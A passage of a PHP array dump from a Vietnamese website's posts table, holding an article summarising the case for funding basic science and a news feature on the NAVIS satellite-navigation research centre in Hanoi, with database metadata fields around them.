tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' 